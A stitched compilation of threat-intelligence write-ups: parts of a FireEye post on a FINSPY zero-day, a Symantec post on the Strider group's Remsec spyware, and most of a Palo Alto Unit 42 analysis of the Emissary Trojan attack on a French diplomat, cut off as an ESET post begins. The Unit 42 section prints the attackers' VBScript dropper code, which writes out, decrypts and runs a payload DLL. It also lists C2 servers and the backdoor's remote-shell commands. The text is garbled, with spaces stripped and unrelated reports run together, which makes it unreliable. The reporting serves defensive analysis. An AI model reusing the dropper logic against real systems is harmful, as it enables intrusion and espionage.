Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used against other targets.
4/5 It is possible that CVE-2017-8759 was being used by additional actors.
While we have not found evidence of this, the zero day being used to distribute FINSPY in April 2017, CVE-2017-0199 was simultaneously being used by a financially motivated actor.
If the actors behind FINSPY obtained this vulnerability from the same source used previously, it is possible that source sold it to additional actors.
Acknowledgement Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence for their contributions to this blog.
We also thank everyone from the Microsoft Security Response Center (MSRC) who worked with us on this issue.
5/5 FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY Vulnerability Used to Target Russian Speakers CVE-2017-8759 WSDL Parser Code Injection The In-the-Wild Attacks The Malware Conclusion Acknowledgement
August 6, 2016 Strider: Cyberespionage group turns eye of Sauron on targets symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets Symantec Official Blog Low-profile group uses Remsec malware to spy on targets in Russia, China, and Europe.
By: Symantec Security ResponseSymantec Employee Created 07 Aug 2016 : , A previously unknown group called Strider has been conducting cyberespionage-style attacks against selected targets in Russia, China, Sweden, and Belgium.
The group uses an advanced piece of malware known as Remsec (Backdoor.
Remsec) to conduct its attacks.
Remsec is a stealthy tool that appears to be primarily designed for spying purposes.
Its code contains a reference to Sauron, the all-seeing antagonist in Lord of the Rings.
Striders attacks have tentative links with a previously uncovered group, Flamer.
The use of Lua modules, which well discuss later, is a technique that has previously been used by Flamer.
One of Striders targets had also previously been infected by Regin.
Background Strider has been active since at least October 2011.
The group has maintained a low profile until now and its targets have been mainly organizations and individuals that would be of interest to a nation states intelligence services.
Symantec obtained a sample of the groups Remsec malware from a customer who submitted it following its detection by our behavioral engine.
Remsec is primarily designed to spy on targets.
It opens a back door on an infected computer, can log keystrokes, and steal files.
Targets Strider has been highly selective in its choice of targets and, to date, Symantec has found evidence of infections in 36 computers across seven separate organizations.
The groups targets include a number of organizations and individuals located in Russia, an airline in China, an organization in Sweden, and an embassy in Belgium.
1/4 https://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets https://www.symantec.com/connect/user/symantec-security-response https://www.symantec.com/connect/zh-hans/blogs/strider https://www.symantec.com/connect/ja/blogs/strider-0 https://www.symantec.com/security_response/writeup.jsp?docid2016-080214-3543-99 http://www.symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east http://www.symantec.com/connect/blogs/regin-top-tier-espionage-tool-enables-stealthy-surveillance Figure 1.
Only a small number of organizations in four countries are impacted by Strider Stealthy back door The Remsec malware used by Strider has a modular design.
Its modules work together as a framework that provides the attackers with complete control over an infected computer, allowing them to move across a network, exfiltrate data, and deploy custom modules as required.
Remsec contains a number of stealth features that help it to avoid detection.
Several of its components are in the form of executable blobs (Binary Large Objects), which are more difficult for traditional antivirus software to detect.
In addition to this, much of the malwares functionality is deployed over the network, meaning it resides only in a computers memory and is never stored on disk.
This also makes the malware more difficult to detect and indicates that the Strider group are technically competent attackers.
2/4 Remsec modules seen by Symantec to date include: Loader: Named MSAOSSPC.DLL, this module is responsible for loading files from disk and executing them.
The files on disk contain the payload in an executable blob format.
The loader also logs data.
Executable blobs and data are encrypted and decrypted with a repeating key of 0xBAADF00D.
The loader maintains persistence by being implemented as a fake Security Support Provider.
Lua modules: Several examples of Remsec use modules written in the Lua programming language.
Remsec uses a Lua interpreter to run Lua modules which perform various functions.
These Lua modules are stored in the same executable blob format as the loader.
Lua modules include: Network loader  This loads an executable over the network for execution.
It may use RSA/RC6 encryption.
Host loader  This is used to decrypt and load at least three other Lua modules into running processes.
It references three named modules: ilpsend, updater (neither of which has been discovered to date), and, kblog (likely the Keylogger module detailed below).
Keylogger  This logs keystrokes and exfiltrates this data to a server under the attackers control.
This is the module that contains a string named Sauron in its code.
Given its capabilities, it is possible the attackers have nicknamed the module after the all-seeing villain in Lord of the Rings.
Figure 2.
String referencing Sauron in Remsec keylogger module Network listener: A number of examples of Remsec implement different techniques for opening a network connection based on monitoring for specific types of traffic.
These include ICMP, PCAP, and RAW network sockets.
Basic pipe back door: This is a minimal back door module, controlled over named pipes.
It can execute data in the format of the executable blob or a standard executable.
Advanced pipe back door: This offers several more commands than the basic version, including sending the executable blob, listing files, and reading/writing/deleting files.
HTTP back door: This module includes several URLs for a command and control (CC) server.
Strider is capable of creating custom malware tools and has operated below the radar for at least five years.
Based on the espionage capabilities of its malware and the nature of its known targets, it is possible that the group is a nation-state level attacker.
Symantec will continue to search for more Remsec modules and targets in order to build upon our understanding of Strider and better protect our customers.
3/4 Protection Symantec and Norton products detect this threat as Backdoor.
Remsec.
Indicators of compromise We have also compiled an indicators-of-compromise document containing further details which can be used to help identify the threats if they are present in your environment.
Tags: Products, Endpoint Protection, Security Response, Backdoor.
Remsec, Belgium, China, Cyberespionage, Flamer, LOTR, Malware, Russia, Strider, Sweden Subscriptions (0) 4/4 https://www.symantec.com/security_response/writeup.jsp?docid2016-080214-3543-99 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf https://www.symantec.com/connect/search?filtersim_vid_31:691 https://www.symantec.com/connect/product/endpoint-protection-vdi https://www.symantec.com/connect/search?filtersim_vid_51:2261 https://www.symantec.com/connect/search?filtersim_vid_111:101211 https://www.symantec.com/connect/search?filtersim_vid_111:101241 https://www.symantec.com/connect/search?filtersim_vid_111:101221 https://www.symantec.com/connect/search?filtersim_vid_111:84571 https://www.symantec.com/connect/search?filtersim_vid_111:71231 https://www.symantec.com/connect/search?filtersim_vid_111:101271 https://www.symantec.com/connect/search?filtersim_vid_111:8691 https://www.symantec.com/connect/search?filtersim_vid_111:25171 https://www.symantec.com/connect/search?filtersim_vid_111:101201 https://www.symantec.com/connect/search?filtersim_vid_111:101231 Strider: Cyberespionage group turns eye of Sauron on targets
08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 1/17 AttackonFrenchDiplomatLinkedtoOperationLotus BlossomPaloAltoNetworksBlog WeobservedatargetedattackinNovemberdirectedatanindividualworkingfortheFrenchMinistry ofForeignAffairs.
TheattackinvolvedaspearphishingemailsenttoasingleFrenchdiplomatbased inTaipei,TaiwanandcontainedaninvitationtoaScienceandTechnologysupportgroupevent.
TheactorsattemptedtoexploitCVE20146332usingaslightlymodifiedversionoftheproofof concept(POC)codetoinstallaTrojancalledEmissary,whichisrelatedtotheOperationLotus Blossomcampaign.
TheTTPsusedinthisattackalsomatchthosedetailedinthepaper.
The targetingofthisindividualsuggeststheactorsareinterestedinbreachingtheFrenchMinistryof ForeignAffairsitselforgaininginsightsintorelationsbetweenFranceandTaiwan.
WehavecreatedtheEmissarytagforAutoFocususerstotrackthisthreat.
Engarde OnNovember10,2015,threatactorssentaspearphishingemailtoanindividualattheFrench MinistryofForeignAffairs.
Thesubjectandthebodyoftheemailsuggestthetargetedindividualhad beeninvitedtoaScienceandTechnologyconferenceinHsinchu,Taiwan.
Theemailappearsquite timely,astheconferencewasheldonNovember13,2015,whichisthreedaysaftertheattacktook place.
Theemailbodycontainedalinktothelegitimateregistrationpagefortheconference,buttheemail alsohadtwoattachmentswiththefollowingfilenamesthatalsopertaintotheconference: 1..doc(translatestoTsaiKerChienmingNationalScienceand TechnologySupportAssociationinvitations.doc) 2..doc(translatestoWrittenApplicationForm.doc) BothattachmentsaremaliciousWorddocumentsthatattempttoexploittheWindowsOLE AutomationArrayRemoteCodeExecutionVulnerabilitytrackedbyCVE20146332.Uponsuccessful exploitation,theattachmentswillinstallaTrojannamedEmissaryandopenaWorddocumentasa decoy.
Thefirstattachmentopensadecoy(Figure2)thatisacopyofaninvitationtoaScienceand TechnologyconferencethispastNovember13thheldinHsingchu,Taiwan,whilethesecondopensa decoy(Figure1)thatisaregistrationformtoattendtheconference.
Theconferencewaswidely advertisedonlineandonFacebook,howeverinthiscasetheinvitationincludesadetaileditinerary thatdoesnotseemtohaveappearedonline.
TheDemocraticProgressivesParty(DPP)Chairwoman TsaiIngwenandDPPcaucuswhipandHsinchurepresentativeKerChienmingweretheprimary politicalsponsorsoftheconferenceandarelongtimepoliticalallies.
TsaiIngwenisthecurrentfront http://researchcenter.paloaltonetworks.com/2015/06/operation-lotus-blossom/ https://autofocus.paloaltonetworks.com//tag/Unit42.Emissary http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-6332 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 2/17 runnerfortheTaiwanesePresidencyandKerChienmingmaybecomeSpeakerifshewins.
The conferencefocusedonusingopensourcetechnology,openinternationalrecruiting,andpartnerships tocontinuedevelopingHsinchuastheSiliconValleyofTaiwan.
ItparticularlynotedFranceasanally inthis,andFranceisTaiwanssecondlargesttechnologypartnerandfourthlargesttradingpartnerin Europe.
Figure1Decoydocumentcontainingwrittenapplicationform Figure2Decoydocumentcontainingtheinvitationandagendaforevent ExploitingCVE20146332 ThethreatactorsattemptedtoexploitCVE20146332usingthePOCcodeavailableinthewild.
The https://gist.github.com/worawit/77a839e3e5ca50916903 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 3/17 POCcodecontainsinlinecommentsthatexplainhowthemaliciousVBScriptexploitsthisvulnerability, soinsteadofdiscussingthemaliciousscriptorexploititself,wewillfocusontheportionsofthescript thatthethreatactorsmodified.
TheactorsremovedtheexplanatorycommentsfromtheVBScriptandmadeslightmodificationsto thePOCcode.
TheonlymajorfunctionaldifferencebetweenthePOCandtheVBScriptinvolved addingtheabilitytoextractandrunbothadecoydocumentandpayload.
Figure3and4compare thedifferingrunshellcommandwithinthePOCandthemaliciousdocumentsusedinthisattack.
ThecodeinFigure3showsthatthePOCdoesnothingmorethanlaunchthenotepad.exe applicationuponsuccessfulexploitation.
Figure4showsthemaliciousdocumentcreatingafile namedss.vbsthatitwritesaVBScripttousingaseriesofechostatements.
Afterwritingthe VBScript,themaliciousdocumentexecutesthess.vbsfile.
1 2 3 4 5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 4/17 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 5/17 68 69 70 71 72 73 74 75 76 77 78 79 80 functionrunshell() OnErrorResumeNext setobjshellCreateobject(WScript.
Shell) strValueobjshell.
RegRead(HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\LocalAppData) enamerundll32,strValue\mm.dll,Setting outfile1strValue\mm.dll bsstrValue\ss.vbs dnstrValue\t.doc vwindow.location.href vReplace(v,file:///,,1,1,1) vReplace(v,?.html,,1,1,1) vReplace(v,20,,1) vReplace(v,/,\,1) cmdcmd arg/ctaskkillfimwinword.exe arg1, setshellcreateobject(wscript.shell) shell.runcmd.exe/cechoOnErrorResumeNextbs,0,true shell.runcmd.exe/cechosetshellcreateobject(Shell.
Application)bs,0,true shell.runcmd.exe/cechoshell.
ShellExecutecmd,arg,,,0bs ,0,true shell.runcmd.exe/cechowscript.sleep3000bs,0,true shell.runcmd.exe/cechodimstrbs ,0,true shell.runcmd.exe/cechodimL1bs ,0,true shell.runcmd.exe/cechodimL2bs ,0,true 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 6/17 shell.runcmd.exe/cechodimLenbs ,0,true shell.runcmd.exe/cechodiminfilebs ,0,true shell.runcmd.exe/cechodimoutfile1bs ,0,true shell.runcmd.exe/cechodimoutfile2bs ,0,true shell.runcmd.exe/cechoinfilevbs ,0,true shell.runcmd.exe/cechooutfile1outfile1 bs,0,true shell.runcmd.exe/cechooutfile2dn bs,0,true shell.runcmd.exe/cechoL178924 bs,0,true shell.runcmd.exe/cechoL238912 bs,0,true shell.runcmd.exe/cechosize144893 bs,0,true shell.runcmd.exe/cechooffset1sizeL1L2 bs,0,true shell.runcmd.exe/cechooffset2sizeL2bs ,0,true shell.runcmd.exe/cechoLen0bs ,0,true shell.runcmd.exe/cechostrReadBinary(infile,L1,offset1) bs,0,true shell.runcmd.exe/cechoWriteBinaryoutfile1,str bs,0,true shell.runcmd.exe/cechostrReadBinary(infile,L2,offset2) bs,0,true shell.runcmd.exe/cechoWriteBinaryoutfile2,str bs,0,true shell.runcmd.exe/cechoFunctionReadBinary(FileName,length,offset) bs,0,true shell.runcmd.exe/cechoDimBuf(),Ibs ,0,true shell.runcmd.exe/cechoWithCreateObject(ADODB.Stream) bs,0,true shell.runcmd.exe/cecho.
Mode3:.Type1:.Open:.LoadFromFileFileName:.Position offsetbs,0,true 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 7/17 shell.runcmd.exe/cechoLenlength1bs ,0,true shell.runcmd.exe/cechoReDimBuf(Len) bs,0,true shell.runcmd.exe/cechoForI0ToLen:if(I0)thenBuf(I)(AscB(.Read(1)))elseif((Imod 2)0)thenBuf(I)(AscB(.Read(1))xorAscB(chr(65)))elseBuf(I)(AscB(.Read(1))xorAscB(chr(67))) endifbs,0,true shell.runcmd.exe/cechoNextbs,0,true shell.runcmd.exe/cecho.
Closebs ,0,true shell.runcmd.exe/cechoEndWithbs ,0,true shell.runcmd.exe/cechoReadBinaryBuf bs,0,true shell.runcmd.exe/cechoEndFunctionbs ,0,true shell.runcmd.exe/cechoSubWriteBinary(FileName,Buf) bs,0,true shell.runcmd.exe/cechoDimI,aBuf,Size,bStream bs,0,true shell.runcmd.exe/cechoSizeUBound(Buf):ReDimaBuf(Size\2) bs,0,true shell.runcmd.exe/cechoForI0ToSize1Step2 bs,0,true shell.runcmd.exe/cechoaBuf(I\2)ChrW(Buf(I1)256Buf(I)) bs,0,true shell.runcmd.exe/cechoNextbs ,0,true shell.runcmd.exe/cechoIfISizeThenaBuf(I\2)ChrW(Buf(I)) bs,0,true shell.runcmd.exe/cechoaBufJoin(aBuf,) bs,0,true shell.runcmd.exe/cechoSetbStreamCreateObject(ADODB.Stream) bs,0,true shell.runcmd.exe/cechobStream.
Type1:bStream.
Open bs,0,true shell.runcmd.exe/cechoWithCreateObject(ADODB.Stream) bs,0,true shell.runcmd.exe/cecho.
Type2:.Open:.WriteTextaBuf bs,0,true shell.runcmd.exe/cecho.
Position2:.CopyTobStream:.Close bs,0,true 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 8/17 shell.runcmd.exe/cechoEndWithbs ,0,true shell.runcmd.exe/cechobStream.
SaveToFileFileName,2: bStream.
Closebs,0,true shell.runcmd.exe/cechoSetbStreamNothing bs,0,true shell.runcmd.exe/cechoEndSubbs ,0,true shell.runcmd.exe/cechosetshellcreateobject(Shell.
Application)bs,0,true shell.runcmd.exe/cechoshell.
ShellExecutednbs,0,true shell.runcmd.exe/cechoshell.
ShellExecuteenamebs,0,true shell.runcmd.exe/cechoSetxaCreateObject(Scripting.
FileSystemObject) bs,0,true shell.runcmd.exe/cechoIfxa.
FileExists(bs)Then bs,0,true shell.runcmd.exe/cechoSetxbxa.
GetFile(bs) bs,0,true shell.runcmd.exe/cechoxb.
Deletebs ,0,true shell.runcmd.exe/cechoEndIfbs ,0,true shell.runcmd.exe/cbs,0,true endfunction Figure4CodeblockcontainingrunshellfunctioninmaliciousVBScriptwithinattachment Thess.vbsfileisresponsibleforlocatingthepayloadanddecoydocumentfromtheinitialmalicious document,aswellasdecrypting,savingandopeningbothofthefiles.
Thescripthashardcoded offsetstothelocationofboththepayloadanddecoydocumentwithintheinitialdocument.
Thescript willdecryptbothoftheembeddedfilesusingatwobyteXORloopthatskipsthefirstbyteandthen decryptstheremainingusingAandCasthekey.
Afterdecryptingtheembeddedfiles,thescript savesthedecoytot.docandthepayloadtomm.dllintheAPPDATA\LocalDatafolder.
Finally, thescriptwillopenthedecoydocumentandlaunchthepayloadbycallingitsexportedfunction namedSetting.
1 2 3 4 5 6 7 8 9 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 9/17 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 10/17 52 53 54 55 56 57 58 59 60 61 OnErrorResumeNext setshellcreateobject(Shell.
Application) shell.
ShellExecutecmd,/ctaskkillfimwinword.exe,,,0 wscript.sleep3000 dimstr dimL1 dimL2 dimLen diminfile dimoutfile1 dimoutfile2 infileC:\DocumentsandSettings\username\Desktop\maliciousdocument name.doc outfile1C:\DocumentsandSettings\username\LocalSettings\Application Data\mm.dll outfile2C:\DocumentsandSettings\username\LocalSettings\Application Data\t.doc L178924 L238912 size144893 offset1sizeL1L2 offset2sizeL2 Len0 strReadBinary(infile,L1,offset1) WriteBinaryoutfile1,str strReadBinary(infile,L2,offset2) WriteBinaryoutfile2,str FunctionReadBinary(FileName,length,offset) DimBuf(),I WithCreateObject(ADODB.Stream) .Mode3:.Type1:.Open:.LoadFromFileFileName:.Positionoffset Lenlength1 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 11/17 ReDimBuf(Len) ForI0ToLen:if(I0)thenBuf(I)(AscB(.Read(1)))elseif((Imod2)0)thenBuf(I) (AscB(.Read(1))xorAscB(chr(65)))elseBuf(I)(AscB(.Read(1))xorAscB(chr(67)))endif Next .Close EndWith ReadBinaryBuf EndFunction SubWriteBinary(FileName,Buf) DimI,aBuf,Size,bStream SizeUBound(Buf):ReDimaBuf(Size\2) ForI0ToSize1Step2 aBuf(I\2)ChrW(Buf(I1)256Buf(I)) Next IfISizeThenaBuf(I\2)ChrW(Buf(I)) aBufJoin(aBuf,) SetbStreamCreateObject(ADODB.Stream) bStream.
Type1:bStream.
Open WithCreateObject(ADODB.Stream) .Type2:.Open:.WriteTextaBuf .Position2:.CopyTobStream:.Close EndWith bStream.
SaveToFileFileName,2:bStream.
Close SetbStreamNothing EndSub setshellcreateobject(Shell.
Application) shell.
ShellExecuteC:\DocumentsandSettings\username\LocalSettings\Application Data\t.doc shell.
ShellExecuterundll32,C:\DocumentsandSettings\username\LocalSettings\Application Data\mm.dll,Setting SetxaCreateObject(Scripting.
FileSystemObject) Ifxa.
FileExists(C:\DocumentsandSettings\username\LocalSettings\ApplicationData\ss.vbs) Then Setxbxa.
GetFile(C:\DocumentsandSettings\username\LocalSettings\Application Data\ss.vbs) xb.
Delete EndIf Figure5VBScriptwithinss.vbsresponsibleforextractingandrunningthepayloadanddecoy Emissary5.3Analysis ThepayloadofthisattackisaTrojanthatwetrackwiththenameEmissary.
ThisTrojanisrelatedto 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 12/17 theElisebackdoordescribedintheOperationLotusBlossomreport.
BothEmissaryandEliseare partofamalwaregroupreferredtoasLStudio,whichisbasedonthefollowingdebugstringsfound inEmissaryandElisesamples: d:\lstudio\projects\worldclient\emissary\Release\emissary\i386\emissary.pdb d:\lstudio\projects\lotus\elise\Release\EliseDLL\i386\EliseDLL.pdb ThereiscodeoverlapbetweenEmissaryandElise,specificallyintheuseofacommonfunctionto logdebugmessagestoafileandacustomalgorithmtodecrypttheconfigurationfile.
Thecustom algorithmusedbyEmissaryandElisetodecrypttheirconfigurationsusethesrandfunctiontoseta seedvaluefortherandfunction,whichthealgorithmusestogenerateakey.
Whiletherand functionismeanttogeneraterandomnumbers,themalwareauthorusesthesrandfunctionto seedtherandfunctionwithastaticvalue.
Thestaticseedvaluecausestherandfunctiontocreate thesamevalueseachtimeitiscalledandresultsinastatickeytodecrypttheconfiguration.
The seedvalueiswheretheEmissaryandElisedifferintheiruseofthisalgorithm,asEmissaryusesa seedvalueof1024(asseeninFigure6)andEliseusestheseedvalueof2012.
Figure6CustomalgorithminEmissaryusingsrandandrandwith1024asaseedvalue WhilethesetwoTrojanssharecode,weconsiderEmissaryandEliseseparatetoolssincetheir configurationstructure,commandhandlerandC2communicationschanneldiffer.
TheEmissary TrojandeliveredinthisattackcontainsthecomponentslistedinTable1.Atahighlevel,Emissaryhas aninitialloaderDLLthatextractsaconfigurationfileandasecondDLLcontainingEmissarys functionalcodethatitinjectsintoInternetExplorer.
MD5 Path Description 06f1d2be5e981dee056c231d184db908 APPDATA\LocalData\ishelp.dll Loader 6278fc8c7bf14514353797b229d562e8 APPDATA\LocalData\A08E81B411.DAT Emissary Payload e9f51a4e835929e513c3f30299567abc APPDATA\LocalData\75BD50EC.DAT Configuration file varies TEMP\000A758C8FEAE5F.TMP Logfile Table1DroppedfilesassociatedwithEmissaryTrojanseeninattackonFrenchMinistryofForeign Affairs http://researchcenter.paloaltonetworks.com/2015/06/operation-lotus-blossom/ 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 13/17 TheloaderTrojannamedishelp.dllhadanoriginalnameofLoader.dll,whichwillextractthe Emissarypayloadfromaresourcenamedasdasdasdasdsadandwriteittoafilenamed A08E81B411.DAT.Theloaderwillthenwriteanembeddedconfigurationtoafilenamed 75BD50EC.DAT.TheloaderTrojancreatesamutexnamed_MICROSOFT_LOADER_MUTEX_ andfinishesbyinjectingtheEmissaryDLLinA08E81B411.DATintoanewlyspawnedInternet Explorerprocess.
TheEmissaryTrojanrunswithintheInternetExplorerprocess.
Itbeginsbyreadinganddecryptingits configurationfile,whichhasthefollowingstructure: 1 2 3 4 5 6 7 8 9 10 11 12 structemissary_config WORDemissary_version_major WORDemissary_version_minor CHAR[36]GUID_for_sample WORDUnknown1 CHAR[128]Server1 CHAR[128]Server2 CHAR[128]Server3 CHAR[128]CampaignName CHAR[550]Unknown2 WORDDelay_interval_seconds  Wedecryptedandparsedtheconfigurationfilethataccompaniedthepayloadusedinthisattack, whichresultedinthefollowingsettings: Version:5.3 GUID:ba87c1c5f71c4a8bb51107aa113d9103 C2Server1:http://ustar5.PassAs[.
]us/default.aspx C2Server2:http://203.124.14.229/default.aspx C2Server3:http://dnt5b.myfw[.
]us/default.aspx CampaignCode:UPGZHG01 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 14/17 SleepDelay:300 Afterdecryptingtheconfigurationfile,Emissaryinteractswithitscommandandcontrol(C2)servers usingHTTPorHTTPS,dependingontheprotocolspecifiedintheconfigurationfile.
Theinitial networkbeaconsentfromEmissarytoitsC2server,seeninFigure7,includesaCookiefieldthat containsaGUID,opandSHOfield.
TheGUIDfieldisauniqueidentifierforthecompromised systemthatisobtaineddirectlyfromtheconfigurationfile.
Theopfieldhasavalueof101,whichis astaticvaluethatrepresentstheinitialnetworkbeacon.
TheSHOfieldcontainstheexternalIP addressoftheinfectedsystem,whichEmissaryobtainsfromalegitimatewebsiteshowip.net, specificallyparsingthewebsitesresponseforinputidcheckiptypetextnamecheck_ip value,whichcontainstheIPaddressofthesystem.
Figure7NetworkbeaconsentfromEmissaryTrojantoC2server TheC2serverresponsetothisbeacon(seeninFigure8)willcontainaheaderfieldcalledSet Cookie,whichcontainsavalueofSID.TheSIDvalueisbase64encodedandencryptedusinga rollingXORalgorithm,whichoncedecodedanddecryptedcontainsa36characterGUIDvalue.
The EmissaryTrojanwillusethisGUIDvalueprovidedbytheC2serverasanencryptionkeythatitwill usetoencryptdatasentinsubsequentnetworkcommunications.
Figure8C2responsetoEmissarybeacon TheC2serverprovidescommandstotheTrojanasathreedigitnumericstringwithinthedata portionoftheHTTPresponse(intheformofopcommand),whichtheEmissaryTrojanwill decryptandcomparetoalistofcommandswithinitscommandhandler.
Thecommandhandler functionwithintheEmissaryTrojansupportssixcommands,asseeninTable2.
Command Description 102 UploadafiletotheC2server.
103 Executesaspecifiedcommand.
08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 15/17 104 DownloadfilefromtheC2 server.
105 Updateconfigurationfile.
106 Createaremoteshell.
107 UpdatestheTrojanwithanew executable.
Table2CommandhandlerwithinEmissaryversion5.3 IfthecommandissuedfromtheC2serverdoesnotmatchtheonelistedintheTrojansavesthe messageunkown:stothelogfile.
ThecommandsetavailablewithinEmissaryallowsthethreat actorsbackdooraccesstoacompromisedsystem.
Usingthisaccess,thethreatactorscanexfiltrate dataandcarryoutfurtheractivitiesonthesystem,includinginteractingdirectlywiththesystems commandshellanddownloadingandexecutingadditionaltoolsforfurtherfunctionality.
ThreatInfrastructure TheinfrastructureassociatedwiththeEmissaryC2serversusedinthisattackincludes ustar5.PassAs[.]us,203.124.14.229anddnt5b.myfw[.
]us.
Theinfrastructureisratherisolatedasthe onlyoverlapindomainsincludesappletree.onthenetas[.
]com.
Theoverlap,asseeninFigure9 involvestwoIPaddressesthatduringthesametimeframeresolvedboththe appletree.onthenetas[.]comdomainandtheEmissaryC2domainofustar5.PassAs[.
]us.
Theother C2domainusedbythisEmissarypayload,specificallydnt5b.myfw[.
]uscurrentlyresolvestothe 127.0.0.1.ThisprovidesanotherglimpseintoTTPsforthesethreatactors,asitsuggeststhatthe threatactorssetthesecondaryC2domainstoresolvetothelocalhostIPaddresstoavoidnetwork detectionandchangethistoaroutableIPaddresswhentheyneedtheC2serveroperational.
Additionally,whilethisinfrastructuredoesnotoverlapwiththatusedinOperationLotusBlossom,that alsofitswiththeTTPs.
Ineachcase,thethreatactorsusedseparateinfrastructurefordifferent targets,anotherwaytohelpavoiddetection.
08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 16/17 Figure9InfrastructureassociatedwithEmissaryTrojan Conclusion APTthreatactors,mostlikelynationstatesponsored,targetedadiplomatintheFrenchMinistryof ForeignAffairswithaseeminglylegitimateinvitationtoatechnologyconferenceinTaiwan.
Itis entirelypossiblethediplomatwastrulyinvitedtotheconference,oratleastwouldnothavebeen surprisedbytheinvitation,addingtothelikelihoodtheattachmentwouldhavebeenopened.
The actorswereattemptingtoexploitCVE20146332toinstallanewversionoftheEmissaryTrojan, specificallyversion5.3.
TheEmissaryTrojanisrelatedtotheElisemalwareusedinOperationLotusBlossom,whichwasan attackcampaignontargetsinSoutheastAsia,inmanycasesalsowithofficiallookingdecoy http://researchcenter.paloaltonetworks.com/2015/06/operation-lotus-blossom/ 08/02/2016 AttackonFrenchDiplomatLinkedtoOperationLotusBlossomPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2015/12/attackonfrenchdiplomatlinkedtooperationlotusblossom/ 17/17 documentsthatdonotappeartohavebeenavailableonline.
Additionally,thetargetingofaFrench diplomatbasedinTaipei,Taiwanalignswithprevioustargetingbytheseactors,asdoestheseparate infrastructure.
Basedonthetargetingandlures,Unit42assessesthatthethreatactorscollection requirementsnotonlyincludemilitariesandgovernmentagenciesinSoutheastAsia,butalsonations involvedindiplomaticandtradeagreementswiththem.
Indicators RelatedHashes 748feae269d561d80563eae551ef7bfd.doc 9fd6f702763a9840bd1b3a898eb9c62d.doc 06f1d2be5e981dee056c231d184db908ishelp.dll 6278fc8c7bf14514353797b229d562e8A08E81B411.DAT e9f51a4e835929e513c3f30299567abc75BD50EC.DAT CommandandControl 203.124.14.229 ustar5.PassAs[.
]us appletree.onthenetas[.
]com dnt5b.myfw[.
]us
6/30/2017 TeleBots are back: Supply-chain attacks against Ukraine welivesecurity.com /2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/ By Anton Cherepanov posted 30 Jun 2017 - 03:30PM Ransomware The latest Petya-like outbreak has gathered a lot of attention from the media.
However, it should be noted that this was not an isolated incident: this is the latest in a series of similar attacks in Ukraine.
This blogpost reveals many details about the Diskcoder.
